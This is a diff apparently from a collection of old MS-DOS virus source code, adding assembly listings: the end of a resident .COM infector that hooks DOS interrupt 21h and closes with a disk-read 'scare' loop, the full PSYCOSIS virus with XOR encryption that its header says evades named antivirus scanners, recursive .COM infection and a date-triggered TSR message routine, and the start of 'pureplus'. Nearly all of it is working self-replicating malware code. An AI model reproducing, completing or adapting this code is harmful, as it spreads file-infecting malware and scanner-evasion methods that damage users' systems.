jmp getonwithit
|
||||
|
||||
malfunkshun: ;sound and fury start
|
||||
cli ;turn off interrupts
|
||||
mov dx,2
|
||||
agin1: mov bp,40 ;do 40 cycles of sound
|
||||
mov si,1000 ;1st frequency
|
||||
mov di,2000 ;2nd frequency
|
||||
mov al,10110110b ;address of channel 2 mode 3
|
||||
out 43h,al ;send to port
|
||||
agin2: mov bx,si ;place sound number in bx
|
||||
backerx: mov ax,bx ;now put in ax
|
||||
out 42h,al
|
||||
mov al,ah
|
||||
out 42h,al
|
||||
in al,61h ;get port value
|
||||
or al,00000011b ;turn speaker on
|
||||
out 61h,al
|
||||
mov cx,2EE0h ;delay
|
||||
looperx: loop looperx ;do nothing loop so sound is audible
|
||||
xchg di,si
|
||||
in al,61h ;get port value
|
||||
and al,11111100b ;AND - turn speaker off
|
||||
out 61h,al ;send it
|
||||
dec bp ;decrement repeat count
|
||||
jnz agin2 ;if not = 0 do again
|
||||
mov ax,10 ;10 repeats of 60000 loops
|
||||
back: mov cx,0EA60h ;loop count (in hex for TASM)
|
||||
loopery: loop loopery ;delay loops - no sound between bursts
|
||||
dec ax
|
||||
jnz back ;if not = 0 loop again
|
||||
dec dx
|
||||
jnz agin1 ;if not = 0 do whole thing again
|
||||
sti ;restore interrupts
|
||||
|
||||
|
||||
|
||||
mov si,0 ;scarey part: drive reads real
|
||||
scarey: lodsb ;fast ala Michelangelo-style
|
||||
mov ah,al ;over-write, but this routine only
|
||||
lodsb ;gets random bytes here for a
|
||||
and al,3 ;cylinder to READ
|
||||
mov dl,80h
|
||||
mov dh,al
|
||||
mov ch,ah
|
||||
mov cl,1
|
||||
mov bx,offset last ;buffer to read into
|
||||
mov ax,201h
|
||||
int 13h
|
||||
jmp short scarey ;yow! scarey! just think if this
|
||||
;was made by someone not as nice as
|
||||
;me
|
||||
|
||||
note db 'This program is sick. [PROTO-T by Dumbco, INC.]'
|
||||
|
||||
getonwithit: pop bp ; get IP from stack.
|
||||
sub bp,109h ; adjust IP.
|
||||
|
||||
restore_host: mov di,0100h ; recover beginning
|
||||
lea si,ds:[carrier_begin+bp] ; of carrier program.
|
||||
mov cx,06h
|
||||
rep movsb
|
||||
|
||||
|
||||
check_resident: mov ah,0A0h ;check if virus
|
||||
int 21h ;already installed.
|
||||
cmp ax,0001h
|
||||
je end_virus
|
||||
|
||||
adjust_memory: mov ax,cs ;get Memory
|
||||
dec ax ;Control Block
|
||||
mov ds,ax
|
||||
cmp byte ptr ds:[0000],5a ;check if last
|
||||
;block -
|
||||
jne abort ;if not last block,
|
||||
;end
|
||||
mov ax,ds:[0003] ;decrease memory
|
||||
sub ax,50 ;by 1kb
|
||||
mov ds:0003,ax
|
||||
|
||||
install_virus: mov bx,ax ;PSP
|
||||
mov ax,es ;virus start
|
||||
add ax,bx ;in memory
|
||||
mov es,ax
|
||||
mov cx,length ;cx = length virus
|
||||
mov ax,ds ;restore ds
|
||||
inc ax
|
||||
mov ds,ax
|
||||
lea si,ds:[begin+bp] ;point to start virus
|
||||
lea di,es:0100 ;point to destination
|
||||
rep movsb ;copy virus in
|
||||
;memory
|
||||
mov [virus_segment+bp],es ;store start of virus
|
||||
;in memory
|
||||
mov ax,cs ;restore extra segment
|
||||
mov es,ax
|
||||
|
||||
hook_vector: cli ;disable interrupts
|
||||
;because we're manipulating
|
||||
mov ax,3521h ;the interrupt table and a
|
||||
;crash would look bad
|
||||
int 21h ;function 3521h - retrieve
|
||||
mov ds,[virus_segment+bp] ;address of current handler
|
||||
mov ds:[old_21h-6h],bx
|
||||
mov ds:[old_21h+2-6h],es
|
||||
mov dx,offset main_virus - 6h
|
||||
mov ax,2521h ;copy new address (virus) to
|
||||
int 21h ;interrupt table
|
||||
sti ;interrupts on
|
||||
|
||||
abort: mov ax,cs ;restore everything
|
||||
mov ds,ax
|
||||
mov es,ax
|
||||
xor ax,ax
|
||||
|
||||
end_virus:
|
||||
|
||||
|
||||
mov bx,0100h ;jump to beginning
|
||||
jmp bx ;of host file
|
||||
|
||||
|
||||
;***************************************************************************
|
||||
|
||||
main_virus: pushf
|
||||
cmp ah,0A0h ;check for virus
|
||||
jne new_21h ;no virus call
|
||||
mov ax,0001h ;ax = id
|
||||
popf ;return id
|
||||
iret
|
||||
|
||||
new_21h: push ds ;save registers
|
||||
push es
|
||||
push di
|
||||
push si
|
||||
push ax
|
||||
push bx
|
||||
push cx
|
||||
push dx
|
||||
|
||||
cmp ah,40h
|
||||
jne check_05
|
||||
cmp bx,0004h
|
||||
jne check_05
|
||||
|
||||
check_05: cmp ah,05h
|
||||
jne check_exec
|
||||
|
||||
check_exec: cmp ax,04B00h ;intercept execute function
|
||||
jne continue
|
||||
mov cs:[name_seg-6],ds
|
||||
mov cs:[name_off-6],dx
|
||||
jmp chk_com ;goto check target
|
||||
|
||||
continue: pop dx ;restore registers
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
pop si
|
||||
pop di
|
||||
pop es
|
||||
pop ds
|
||||
popf
|
||||
jmp dword ptr cs:[old_21h-6]
|
||||
|
||||
chk_com: cld ;check extension of loaded file
|
||||
mov di,dx ;for COM
|
||||
push ds
|
||||
pop es
|
||||
mov al,'.' ;search extension
|
||||
repne scasb ;for 'COM', so
|
||||
cmp word ptr es:[di],'OC' ;check 'CO'
|
||||
jne continue ;and
|
||||
cmp word ptr es:[di+2],'M' ;check 'M'
|
||||
jne continue
|
||||
|
||||
call set_int24h
|
||||
call set_attribute
|
||||
|
||||
open_file: mov ds,cs:[name_seg-6] ;name of target file
|
||||
mov dx,cs:[name_off-6]
|
||||
mov ax,3D02h ;open file
|
||||
call do_int21h ;simulate int21 call, see below
|
||||
jc close_file
|
||||
push cs
|
||||
pop ds
|
||||
mov [handle-6],ax
|
||||
mov bx,ax
|
||||
|
||||
call get_date
|
||||
|
||||
check_infect: push cs
|
||||
pop ds
|
||||
mov bx,[handle-6] ;read first 6 bytes
|
||||
mov ah,3fh
|
||||
mov cx,06h
|
||||
lea dx,[carrier_begin-6]
|
||||
call do_int21h
|
||||
mov al, byte ptr [carrier_begin-6]+3 ; check initials
|
||||
mov ah, byte ptr [carrier_begin-6]+4 ; 'D' and 'H'
|
||||
cmp ax,[initials-6]
|
||||
je save_date ;if equal, already
|
||||
;infected
|
||||
|
||||
get_length: mov ax,4200h ;set file pointer to begin
|
||||
call move_pointer
|
||||
mov ax,4202h ;set file pointer to end
|
||||
call move_pointer
|
||||
sub ax,03h ;ax = file length
|
||||
mov [length_file-6],ax
|
||||
|
||||
call write_jmp
|
||||
call write_virus ;summon write virus to file
|
||||
|
||||
save_date: push cs ;save date of file
|
||||
pop ds
|
||||
mov bx,[handle-6]
|
||||
mov dx,[date-6]
|
||||
mov cx,[time-6]
|
||||
mov ax,5701h
|
||||
call do_int21h
|
||||
|
||||
close_file: mov bx,[handle-6]
|
||||
mov ah,03eh ;close file
|
||||
call do_int21h
|
||||
|
||||
mov dx,cs:[old_24h-6] ;restore int24h
|
||||
mov ds,cs:[old_24h+2-6]
|
||||
mov ax,2524h
|
||||
call do_int21h
|
||||
|
||||
jmp continue
|
||||
|
||||
|
||||
|
||||
|
||||
new_24h: mov al,3 ;critical error handler
|
||||
iret
|
||||
|
||||
|
||||
;---------------------------------------------------------------------------
|
||||
; PROCEDURES
|
||||
;---------------------------------------------------------------------------
|
||||
|
||||
|
||||
|
||||
move_pointer: push cs
|
||||
pop ds
|
||||
mov bx,[handle-6]
|
||||
xor cx,cx
|
||||
xor dx,dx
|
||||
call do_int21h
|
||||
ret
|
||||
;since virus owns int21, a
|
||||
do_int21h: pushf ;direct call would be counter
|
||||
call dword ptr cs:[old_21h-6];productive, so do a pushf
|
||||
ret ;and call combination - Dark
|
||||
;Angel's virus guide is great
|
||||
write_jmp: push cs ;at expalining this
|
||||
pop ds
|
||||
mov ax,4200h ;set pointer to beginning of file
|
||||
call move_pointer
|
||||
mov ah,40h
|
||||
mov cx,01h
|
||||
lea dx,[jump-6]
|
||||
call do_int21h
|
||||
mov ah,40h
|
||||
mov cx,02h
|
||||
lea dx,[length_file-6]
|
||||
call do_int21h
|
||||
mov ah,40h
|
||||
mov cx,02h
|
||||
lea dx,[initials-6]
|
||||
call do_int21h
|
||||
ret
|
||||
|
||||
write_virus: push cs
|
||||
pop ds
|
||||
mov ax,4202h ;write to file function
|
||||
call move_pointer
|
||||
mov ah,40
|
||||
mov cx,length ;virus length
|
||||
mov dx,100
|
||||
call do_int21h ;do it
|
||||
ret
|
||||
|
||||
get_date: mov ax,5700h ;retrieve date function
|
||||
call do_int21h ;do it
|
||||
push cs
|
||||
pop ds
|
||||
mov [date-6],dx ;restore date & time
|
||||
mov [time-6],cx
|
||||
ret
|
||||
;set up critical error handler
|
||||
set_int24h: mov ax,3524h ;request address of current handler
|
||||
call do_int21h ;simulate int21 call
|
||||
mov cs:[old_24h-6],bx
|
||||
mov cs:[old_24h+2-6],es
|
||||
mov dx,offset new_24h-6
|
||||
push cs
|
||||
pop ds
|
||||
mov ax,2524h ;set vector to virus handler
|
||||
call do_int21h ;do it
|
||||
ret
|
||||
|
||||
set_attribute: mov ax,4300h ;get attribute
|
||||
mov ds,cs:[name_seg-6]
|
||||
mov dx,cs:[name_off-6]
|
||||
call do_int21h
|
||||
and cl,0feh ;set attribute
|
||||
mov ax,4301h
|
||||
call do_int21h
|
||||
ret
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
;---------------------------------------------------------------------------
|
||||
; DATA
|
||||
;---------------------------------------------------------------------------
|
||||
|
||||
|
||||
old_21h dw 00h,00h
|
||||
old_17h dw 00h,00h
|
||||
old_24h dw 00h,00h
|
||||
carrier_begin db 090h, 0cdh, 020h, 044h, 048h, 00h
|
||||
jump db 0E9h
|
||||
name_seg dw ?
|
||||
name_off dw ?
|
||||
virus_segment dw ?
|
||||
length_file dw ?
|
||||
handle dw ?
|
||||
date dw ?
|
||||
time dw ?
|
||||
initials dw 4844h
|
||||
last db 090h
|
||||
|
||||
code ends
|
||||
end host
|
567
MSDOS/Virus.MSDOS.Unknown.psycosis.asm
Normal file
567
MSDOS/Virus.MSDOS.Unknown.psycosis.asm
Normal file
@ -0,0 +1,567 @@
|
||||
; VirusName : PSYCOSIS
|
||||
; Origin : Sweden
|
||||
; Author : The Unforgiven
|
||||
; Date : 03/01/94
|
||||
|
||||
; This is yet another mutation of the Bob Ross virus, written by Dark
|
||||
; Angel of Phalcon/Skism in September 1991. In my last version of this
|
||||
; virus, I excluded the encryption, and included some destructive code
|
||||
; instead. In this one, I added a new encryption, and thereby it went
|
||||
; undetectable by most of the scanners. Yes, Scan/FindViru/MSAV/CPAV,
|
||||
; can't find it. F-prot doesn't founds a shit, but Tbscan's most
|
||||
; heuristics scanner says that it "probably" is infected with some
|
||||
; unknown virus. The "standard" heuristic gets some flags, but not
|
||||
; enough to say that it's infected. Therefor I'd like to claim that
|
||||
; the scanners sucks!
|
||||
|
||||
; I had thought to change much more in the code, for example the
|
||||
; spreading routine. This virus will search the whole tree for
|
||||
; files to infect, and becomes therefor pretty slow, and easily
|
||||
; detected. But hell, it spreads!, Hm, 3 files each run!..
|
||||
|
||||
; It also contains a resident printing part, which under some
|
||||
; specific conditions will print some messages, in the top of the
|
||||
; screen. If you're afraid that you are infected with this virus,
|
||||
; just set the date to 0606 any year, and wait for some minutes.
|
||||
; If a sudden message shows up, delete your .COM file, which first
|
||||
; character is an "&".
|
||||
|
||||
;=============================================================================
|
||||
; **** PSYCOSIS ****
|
||||
;=============================================================================
|
||||
|
||||
CODE SEGMENT PUBLIC 'CODE'
|
||||
ORG 100h
|
||||
ASSUME CS:CODE,DS:CODE,SS:CODE,ES:CODE
|
||||
|
||||
DTA_fileattr EQU 21
|
||||
DTA_filetime EQU 22
|
||||
DTA_filedate EQU 24
|
||||
DTA_filesize EQU 26
|
||||
DTA_filename EQU 30
|
||||
|
||||
virus_marker equ 026FFh ; JMP WORD PTR
|
||||
virus_marker2 equ 00104h ; 0104h
|
||||
part1_size equ part1_end - part1_start
|
||||
part2_size equ part2_end - part2_start
|
||||
offset_off equ duh2
|
||||
init_delay equ 5280 ; Initial delay
|
||||
delay equ 400 ; Subsequent delay
|
||||
num_Messages equ 7 ; Number of Bob messages
|
||||
waves equ 7 ; Number of waves to go off after
|
||||
infec_date equ 0606h ; Date of psychosis .(swedish national day).
|
||||
|
||||
Counter equ 108h
|
||||
D_Mess equ 110h
|
||||
Int_08_Start equ 112h
|
||||
|
||||
part1_start:
|
||||
jmp word ptr duh
|
||||
duh dw middle_part_end - part1_start + 100h
|
||||
duh2 dw 0
|
||||
part1_end:
|
||||
|
||||
middle_part_start:
|
||||
middle_part_end:
|
||||
|
||||
;=============================================================================
|
||||
;Part 2 begins: Dis is the D-Cool part
|
||||
;=============================================================================
|
||||
part2_start:
|
||||
cld
|
||||
call decrypt
|
||||
mov si, offset Go
|
||||
add si, offset_off
|
||||
jmp si
|
||||
|
||||
;encrypt_val db 00h
|
||||
encrypt_val dw 0
|
||||
decrypt:
|
||||
encrypt:
|
||||
|
||||
mov si, offset encrypt_val
|
||||
add si, offset_off
|
||||
mov ah, byte ptr [si]
|
||||
|
||||
mov cx, offset part2_end - offset bam_bam
|
||||
add si, offset bam_bam - offset encrypt_val
|
||||
mov di, si
|
||||
call cheater
|
||||
|
||||
xor_loop:
|
||||
lodsb ; DS:[SI] -> AL
|
||||
xor al, ah
|
||||
stosb
|
||||
loop xor_loop
|
||||
ret
|
||||
cheater:
|
||||
ret
|
||||
|
||||
copy_rest_stuff:
|
||||
push si ; SI -> buffer3
|
||||
call encrypt
|
||||
mov cx, part2_size
|
||||
pop dx
|
||||
add dx, offset part2_start - offset buffer3
|
||||
mov ah, 40h
|
||||
int 21h
|
||||
call decrypt
|
||||
bam_bam:
|
||||
ret
|
||||
|
||||
buffer db 0CDh, 20h, 0, 0, 0, 0, 0, 0
|
||||
buffer2 db part1_end - part1_start dup (?)
|
||||
buffer3 dw ?
|
||||
orig_path db 64 dup (?)
|
||||
num_infec db 0 ; Infection wave number
|
||||
infec_now db 0 ; Number files infected this time
|
||||
root_dir db '\',0 ; root directory
|
||||
com_mask db '*.com',0 ; files to infect
|
||||
dir_mask db '*.*',0 ; files to search for
|
||||
back_dir db '..',0 ; go "dot-dot".
|
||||
nest dw 0
|
||||
|
||||
DTA db 43 DUP (0) ; For use by infect_dir
|
||||
|
||||
Go:
|
||||
add si, offset buffer - offset Go
|
||||
mov di, si
|
||||
add di, offset buffer2 - offset buffer
|
||||
mov cx, part1_size
|
||||
rep movsb
|
||||
|
||||
mov ah, 47h ; Get directory
|
||||
xor dl,dl ; Default drive
|
||||
add si, offset orig_path - offset buffer - 8 ; DS:[SI] -> buffer
|
||||
int 21h ; in orig_path
|
||||
jc Go_Error
|
||||
|
||||
mov ah, 3Bh ; Change directory
|
||||
mov dx, si ; to the root dir
|
||||
add dx, offset root_dir - offset orig_path
|
||||
int 21h
|
||||
jc Go_Error
|
||||
|
||||
add si, offset num_infec - offset orig_path
|
||||
inc byte ptr [si] ; New infection wave
|
||||
|
||||
push si ; Save offset num_infec
|
||||
|
||||
add si, offset infec_now - offset num_infec
|
||||
mov byte ptr [si], 3 ; Reset infection
|
||||
; counter to 3
|
||||
; for D-new run.
|
||||
|
||||
call traverse_fcn ; Do all the work
|
||||
|
||||
pop si ; Restore offset num_infec
|
||||
cmp byte ptr [si], waves ; 10 infection waves?
|
||||
jge Go_Psycho ; If so, activate
|
||||
|
||||
mov ah, 2Ah ; Get date
|
||||
int 21h
|
||||
cmp dx, infec_date ; Is it 07/09?
|
||||
jz Go_Psycho ; If so, activate
|
||||
Go_Error:
|
||||
jmp quit ; And then quit
|
||||
|
||||
Go_Psycho:
|
||||
jmp Psycho
|
||||
|
||||
origattr db 0
|
||||
origtime dw 0
|
||||
origdate dw 0
|
||||
filesize dw 0 ; Size of the uninfected file
|
||||
|
||||
oldhandle dw 0
|
||||
|
||||
;=============================================================================
|
||||
;D-Traversal function begins
|
||||
;=============================================================================
|
||||
traverse_fcn proc near
|
||||
push bp ; Create stack frame
|
||||
mov bp,sp
|
||||
sub sp,44 ; Allocate space for DTA
|
||||
push si
|
||||
|
||||
jmp infect_directory
|
||||
In_fcn:
|
||||
mov ah,1Ah ;Set DTA
|
||||
lea dx,word ptr [bp-44] ; to space allotted
|
||||
int 21h ;Do it now, do it hard!
|
||||
|
||||
mov ah, 4Eh ;Find first
|
||||
mov cx,16 ;Directory mask
|
||||
mov dx,offset dir_mask ; *.*
|
||||
add dx,offset_off
|
||||
int 21h
|
||||
jmp short isdirok
|
||||
gonow:
|
||||
cmp byte ptr [bp-14], '.' ;Is first char == '.'?
|
||||
je short donext ; If so, loop again
|
||||
lea dx,word ptr [bp-14] ;else load dirname
|
||||
mov ah,3Bh ; and changedir there
|
||||
int 21h ;Yup, yup
|
||||
jc short donext ; Do next if invalid
|
||||
mov si, offset nest ; Else increment nest
|
||||
add si, offset_off
|
||||
inc word ptr [si] ; nest++
|
||||
call near ptr traverse_fcn ; recurse directory
|
||||
donext:
|
||||
lea dx,word ptr [bp-44] ;Load space allocated for DTA address
|
||||
mov ah,1Ah ; and set DTA to it
|
||||
int 21h ; 'cause it might have changed
|
||||
|
||||
mov ah,4Fh ;Find next
|
||||
int 21h
|
||||
isdirok:
|
||||
jnc gonow ;If OK, jmp elsewhere
|
||||
mov si, offset nest
|
||||
add si, offset_off
|
||||
cmp word ptr [si], 0 ;If root directory (nest == 0)
|
||||
jle short cleanup ; Quit
|
||||
dec word ptr [si] ;Else decrement nest
|
||||
mov dx,offset back_dir ;'..'
|
||||
add dx, offset_off
|
||||
mov ah,3Bh ;Change directory
|
||||
int 21h ; to previous one
|
||||
cleanup:
|
||||
pop si
|
||||
mov sp,bp
|
||||
pop bp
|
||||
ret
|
||||
traverse_fcn endp
|
||||
;=============================================================================
|
||||
;D-Traversal function ends
|
||||
;=============================================================================
|
||||
|
||||
Goto_Error:
|
||||
jmp Error
|
||||
|
||||
enuff_for_now:
|
||||
;Set nest to nil
|
||||
mov si, offset nest ; in order to
|
||||
add si, offset_off ; halt the D-Cool
|
||||
mov word ptr [si], 0 ; traversal fcn
|
||||
jmp short cleanup
|
||||
return_to_fcn:
|
||||
jmp short In_fcn ;Return to traversal function
|
||||
|
||||
infect_directory:
|
||||
mov ah, 1Ah ;Set DTA
|
||||
mov dx, offset DTA ; to DTA struct
|
||||
add dx, offset_off
|
||||
int 21h
|
||||
|
||||
find_first_COM:
|
||||
mov ah, 04Eh ; Find first file
|
||||
mov cx, 0007h ; Any file
|
||||
mov dx, offset com_mask ; DS:[DX] --> filemask
|
||||
add dx, offset_off
|
||||
int 21h ; Fill DTA (hopefully)
|
||||
jc return_to_fcn ; <Sigh> Error #E421:0.1
|
||||
jmp check_if_COM_infected ; I<___-Cool! Found one!
|
||||
|
||||
find_next_file2:
|
||||
mov si, offset infec_now ; Another loop,
|
||||
add si, offset_off ; Another infection
|
||||
dec byte ptr [si] ; Infected three?
|
||||
jz enuff_for_now ; If so, exit
|
||||
find_next_file:
|
||||
mov ah,4Fh ; Find next
|
||||
int 21h
|
||||
jc return_to_fcn
|
||||
|
||||
check_if_COM_infected:
|
||||
mov si, offset DTA + dta_filename + 6 ; look at 7th letter
|
||||
add si, offset_off
|
||||
cmp byte ptr [si], 'D' ; ??????D.COM?
|
||||
jz find_next_file ; don't kill COMMAND.COM
|
||||
|
||||
mov ax,3D00h ; Open channel read ONLY
|
||||
mov dx, si ; Offset Pathname in DX
|
||||
sub dx, 6
|
||||
int 21h ; Open NOW!
|
||||
jc find_next_file ; If error, find another
|
||||
|
||||
xchg bx,ax ; bx is now handle
|
||||
mov ah,3Fh ; Save
|
||||
mov cx, part1_size ; first part
|
||||
mov dx, offset buffer ; to buffer
|
||||
add dx, offset_off ; to be restored
|
||||
push dx
|
||||
int 21h ; later
|
||||
|
||||
pop si ; Check for virus ID bytes
|
||||
; in the buffer
|
||||
push si
|
||||
lodsw ; DS:[SI] -> AX
|
||||
cmp ax, virus_marker ; Compare it
|
||||
jnz infect_it ; infect it if ID #1 not found
|
||||
|
||||
lodsw ; Check next two bytes
|
||||
cmp ax, virus_marker2 ; Compare it
|
||||
jnz infect_it ; infect if ID #2 not found
|
||||
pop si
|
||||
bomb_out:
|
||||
mov ah, 3Eh ; else close the file
|
||||
int 21h ; and go find another
|
||||
jmp find_next_file ; 'cuz it's already infected
|
||||
|
||||
Signature db '\\ Merry Xmas and a happy new year // '
|
||||
db 'Sweden - Snowing Again'
|
||||
;=============================================================================
|
||||
;D-Good Stuff - Infection routine
|
||||
;=============================================================================
|
||||
infect_it:
|
||||
; save fileattr
|
||||
pop si
|
||||
add si, offset DTA + DTA_fileattr - offset buffer
|
||||
mov di, si
|
||||
add di, offset origattr - offset DTA - DTA_fileattr
|
||||
movsb ; DS:[SI] -> ES:[DI]
|
||||
movsw ; Save origtime
|
||||
movsw ; Save origdate
|
||||
movsw ; Save filesize
|
||||
; Only need LSW
|
||||
; because COM files
|
||||
; can only be up to
|
||||
; 65535 bytes long
|
||||
cmp word ptr [si - 2], part1_size
|
||||
jl bomb_out ; is less than 8 bytes.
|
||||
|
||||
do_again:
|
||||
mov ah, 2Ch ; get time
|
||||
int 21h
|
||||
add dl, dh ; 1/100 sec + 1 sec
|
||||
jz do_again ; Don't want orig strain!
|
||||
|
||||
mov si, offset encrypt_val
|
||||
add si, offset_off
|
||||
mov byte ptr [si], dl ; 255 mutations
|
||||
|
||||
mov ax, 4301h ; Set file attributes
|
||||
xor cx, cx ; to nothing
|
||||
mov dx, si ; filename in DTA
|
||||
add dx, offset DTA + DTA_filename - offset encrypt_val
|
||||
int 21h ; do it now, my child
|
||||
|
||||
mov ah, 3Eh ; Close file
|
||||
int 21h ; handle in BX
|
||||
|
||||
mov ax, 3D02h ; Open file read/write
|
||||
int 21h ; Filename offset in DX
|
||||
jc bomb_out ; Damn! Probs
|
||||
|
||||
mov di, dx
|
||||
add di, offset oldhandle - offset DTA - DTA_filename
|
||||
; copy filehandle to
|
||||
; oldhandle
|
||||
stosw ; AX -> ES:[DI]
|
||||
xchg ax, bx ; file handle in BX now
|
||||
|
||||
mov ah, 40h ; Write DS:[DX]->file
|
||||
mov cx, part1_size - 4 ; number of bytes
|
||||
mov dx, 0100h ; where code starts
|
||||
int 21h ; (in memory)
|
||||
|
||||
mov ah, 40h
|
||||
mov si, di ; mov si, offset filesize
|
||||
add si, offset filesize - 2 - offset oldhandle
|
||||
add word ptr [si], 0100h
|
||||
mov cx, 2
|
||||
mov dx, si
|
||||
int 21h ; write jmp offset
|
||||
|
||||
mov ax, [si] ; AX = filesize
|
||||
sub ax, 0108h
|
||||
|
||||
add si, offset buffer3 - offset filesize
|
||||
push si
|
||||
mov word ptr [si], ax
|
||||
mov ah, 40h
|
||||
mov cx, 2
|
||||
mov dx, si
|
||||
int 21h
|
||||
|
||||
mov ax, 4202h ; move file ptr
|
||||
xor cx, cx ; from EOF
|
||||
xor dx, dx ; offset cx:dx
|
||||
int 21h
|
||||
|
||||
call copy_rest_stuff
|
||||
|
||||
pop si
|
||||
add si, offset oldhandle - offset buffer3
|
||||
mov bx, word ptr [si]
|
||||
mov ax, 5701h ; Restore
|
||||
add si, offset origtime - offset oldhandle
|
||||
mov cx, word ptr [si] ; old time and
|
||||
add si, 2
|
||||
mov dx, word ptr [si] ; date
|
||||
int 21h
|
||||
|
||||
mov ah, 3Eh ; Close file
|
||||
int 21h
|
||||
|
||||
mov ax, 4301h ; Restore file
|
||||
xor ch, ch
|
||||
add si, offset origattr - offset origtime - 2
|
||||
mov cl, byte ptr [si] ; attributes
|
||||
mov dx, si ; filename in DTA
|
||||
add dx, offset DTA + DTA_filename - offset origattr
|
||||
int 21h ; do it now
|
||||
|
||||
jmp find_next_file2
|
||||
|
||||
GotoError:
|
||||
jmp error
|
||||
|
||||
Psycho:
|
||||
|
||||
push es
|
||||
mov byte ptr cs:[100h],0 ; Initialize fingerprint
|
||||
xor bx, bx ; Zero BX for start
|
||||
mov ax, cs
|
||||
Init1: inc bx ; Increment search segment
|
||||
mov es, bx ; value
|
||||
cmp ax, bx ; Not installed if we reach
|
||||
je Not_Installed_Yet ; the current segment
|
||||
mov si, 100h ; Search segment for
|
||||
mov di, si ; fingerprint in first
|
||||
mov cx, 4 ; four bytes
|
||||
repe cmpsb ; Compare
|
||||
jne init1 ; If not equal, try another
|
||||
jmp Quit_Init ; else already installed
|
||||
|
||||
Not_Installed_Yet:
|
||||
pop es
|
||||
mov word ptr cs:[Counter], init_delay
|
||||
mov word ptr cs:[D_Mess], 1
|
||||
|
||||
; Copy interrupt handler to beginning of code
|
||||
mov si, offset _int_08_handler
|
||||
add si, offset_off
|
||||
mov di, Int_08_Start
|
||||
mov cx, int_end - int_start
|
||||
rep movsb ; DS:[SI]->ES:[DI]
|
||||
|
||||
mov ax, 3508h ; Get int 8 handler
|
||||
int 21h ; put in ES:BX
|
||||
|
||||
mov cs:[duh], bx ; Save old handler
|
||||
mov cs:[duh+2], es ; in cs:[104h]
|
||||
|
||||
mov ax, 2508h ; Install new handler
|
||||
mov dx, Int_08_Start ; from DS:DX
|
||||
int 21h ; Do it
|
||||
|
||||
push es
|
||||
mov ax, ds:[2Ch] ; Deallocate program
|
||||
mov es, ax ; environment block
|
||||
mov ah, 49h
|
||||
int 21h
|
||||
pop es
|
||||
|
||||
mov ax, 3100h ; TSR
|
||||
mov dx, (offset int_end - offset int_start + offset part1_end - offset Code + 4 + 15 + 128) SHR 4
|
||||
int 21h
|
||||
int 20h ; In case of error
|
||||
Quit_Init:
|
||||
pop es
|
||||
Error: ; On error, quit
|
||||
Quit:
|
||||
; if get drive, place it here (restore, and change to in the beginning).
|
||||
mov ah, 3Bh ; Change directory
|
||||
mov dx, offset root_dir ; to the root dir
|
||||
add dx, offset_off
|
||||
int 21h
|
||||
|
||||
mov ah,3Bh ; Change directory
|
||||
; Return to orig dir
|
||||
add dx, offset orig_path - offset root_dir
|
||||
int 21h
|
||||
|
||||
; Copy buffer back to beginning of file
|
||||
mov si, dx
|
||||
add si, offset buffer2 - offset orig_path
|
||||
mov di, 0100h
|
||||
mov cx, part1_end - part1_start
|
||||
rep movsb
|
||||
|
||||
mov di, 0100h
|
||||
jmp di
|
||||
int_start:
|
||||
_int_08_handler proc far
|
||||
push ax
|
||||
push bx
|
||||
push cx
|
||||
push dx
|
||||
push si
|
||||
push ds
|
||||
push es
|
||||
pushf
|
||||
dec word ptr CS:[Counter] ; Counter
|
||||
jnz QuitNow
|
||||
;ACTIVATION!!!
|
||||
mov word ptr CS:[Counter], delay ; Reset counter
|
||||
|
||||
; Set up DS & ES to equal CS
|
||||
push cs
|
||||
pop ds
|
||||
push cs
|
||||
pop es
|
||||
|
||||
mov si, offset Messages - offset int_start + int_08_start
|
||||
mov cx, cs:D_Mess
|
||||
xor ah, ah
|
||||
LoopY_ThingY:
|
||||
lodsb ; DS:SI -> AL
|
||||
add si, ax ; ES:BP -> Next message to display
|
||||
loop LoopY_ThingY
|
||||
|
||||
lodsb
|
||||
xchg si, bp
|
||||
|
||||
xor cx, cx
|
||||
mov cl, al ; Length of string
|
||||
mov ax, 1300h ;
|
||||
mov bx, 0070h ; Page 0, inverse video
|
||||
xor dx, dx ; (0,0)
|
||||
int 10h ; Display ES:BP
|
||||
inc word ptr cs:[D_Mess]
|
||||
cmp word ptr cs:[D_Mess], num_messages
|
||||
jnz Sigh
|
||||
mov word ptr cs:[D_Mess], 1
|
||||
|
||||
Sigh: mov cx, 30h
|
||||
Sigh2: push cx
|
||||
mov cx, 0FFFFh
|
||||
DelayX: loop DelayX
|
||||
pop cx
|
||||
loop Sigh2
|
||||
xchg si, bp
|
||||
QuitNow:
|
||||
popf
|
||||
pop es
|
||||
pop ds
|
||||
pop si
|
||||
pop dx
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
jmp dword ptr CS:duh
|
||||
Messages db 0
|
||||
db 15, 'Another year passed by'
|
||||
db 21, 'Another tear the willows cry'
|
||||
db 22, 'to change the world we ever try'
|
||||
db 26, 'to make a difference before we die'
|
||||
db 38, '[PSYCHOSIS] Greets, Phalcon/Skism.'
|
||||
db 40, '(c) 93/94 The Unforgiven / Immortal Riot'
|
||||
|
||||
_int_08_handler endp
|
||||
int_end:
|
||||
part2_end:
|
||||
|
||||
CODE ends
|
||||
end part1_start
|
508
MSDOS/Virus.MSDOS.Unknown.pureplus.asm
Normal file
508
MSDOS/Virus.MSDOS.Unknown.pureplus.asm
Normal file
@ -0,0 +1,508 @@
|
||||
cseg segment para public 'code'
|
||||
pureplus proc near
|
||||
assume cs:cseg
|
||||
|
||||
;-----------------------------------------------------------------------------
|
||||
|
||||
;designed by "Q" the misanthrope.
|
||||
|
||||
;-----------------------------------------------------------------------------
|
||||
|
||||
.186
|
||||
|
||||
ALLOCATE_HMA equ 04a02h
|
||||
CLOSE_HANDLE equ 03e00h
|
||||
COMMAND_LINE equ 080h
|
||||
COM_OFFSET equ 00100h
|
||||
CRITICAL_INT equ 024h
|
||||
DENY_NONE equ 040h
|
||||
DONT_SET_OFFSET equ 006h
|
||||
DONT_SET_TIME equ 040h
|
||||
DOS_INT equ 021h
|
||||
DOS_SET_INT equ 02500h
|
||||
EIGHTEEN_BYTES equ 012h
|
||||
ENVIRONMENT equ 02ch
|
||||
EXEC_PROGRAM equ 04b00h
|
||||
EXE_SECTOR_SIZE equ 004h
|
||||
EXE_SIGNATURE equ 'ZM'
|
||||
FAIL equ 003h
|
||||
FAR_INDEX_CALL equ 01effh
|
||||
FILENAME_OFFSET equ 0001eh
|
||||
FILE_OPEN_MODE equ 002h
|
||||
